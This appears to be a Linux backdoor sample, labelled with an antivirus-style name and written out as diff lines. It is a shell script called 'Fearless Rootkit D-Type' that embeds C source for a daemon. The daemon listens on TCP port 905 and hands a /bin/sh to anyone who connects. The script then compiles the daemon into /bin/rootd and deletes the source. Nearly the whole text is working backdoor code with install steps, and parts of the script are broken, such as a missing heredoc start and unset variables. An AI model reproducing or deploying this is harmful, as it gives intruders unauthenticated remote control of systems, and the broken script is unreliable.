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Linux/Backdoor.Linux.Rootin.b

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+#!/bin/sh
+
+# Fearless Rootkit D-Type v0.1
+# Coded by Merlion 
+# Website: http://areyoufearless.com
+
+# chmod 755 rootd.sh
+# ./rootd.sh
+# telnet to port 905 & run commands. End each command with a semicolon (;)
+
+
+
+                     
+
+#include <stdio.h>
+#include <string.h>
+#include <netdb.h>
+#include <netinet/in.h>
+#include <sys/types.h>
+#include <sys/socket.h>
+#include <unistd.h>
+
+void die(char *error);
+main(int argc, char **argv) {
+pid_t pid, sid;
+int len, clipid, serpid, stat, sock, soklen, sockbind, sockrec, sockopt, sockcli, socklen;
+unsigned short int mcon;
+unsigned short int port;
+char *rbuf, *rmode;
+struct sockaddr_in  Client, Server;
+if ((sock=socket(PF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) die("Error creating socket");
+if (argc != 3) die("Usage");
+memset(&Server, 0, sizeof(Server));
+Server.sin_family=AF_INET;
+port=905;
+mcon=5;
+Server.sin_port=htons(port);
+Server.sin_addr.s_addr=htonl(INADDR_ANY);
+if (setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, (void *) &sockopt, sizeof(sockopt)) < 0)
+die("No socket options set");
+if (sockbind=bind(sock, (struct sockaddr *) &Server, sizeof(Server)) != 0)
+die("Could not bind socket");
+if ((sockbind=listen(sock, mcon)) != 0) die("Failed on listen()");  
+pid=fork();
+if (pid < 0) die("Initial fork() failed");
+if (pid>0) exit(0);
+if ((chdir("/")) < 0) die("Could not set working directory");
+if ((setsid()) < 0) die("setsid() failed in creating daemon");
+umask(0);
+close(STDIN_FILENO);
+close(STDOUT_FILENO);
+close(STDERR_FILENO);
+/* You're on your own, pal.. */
+while(1) {
+socklen=sizeof(Client);
+if ((sockcli=accept(sock, (struct sockaddr *) &Client, &socklen)) < 0) exit(1);   /* syslog msg here still */
+clipid=getpid();
+serpid=fork();
+if (serpid > 0)
+waitpid(0, &stat, 0);    
+dup2(sockcli, 1);
+execl("/bin/sh","sh",(char *)0);  }
+close(sockcli);   }
+void die(char *error) {
+fprintf(stderr, "%s\n", error);
+exit(1);  }
+
+EOF
+
+gcc -o /bin/rootd /tmp/rootd.c
+rm -f /tmp/rootd.c
+rootd $port $max
+echo "Rootkit installed at port 905"
+exit 0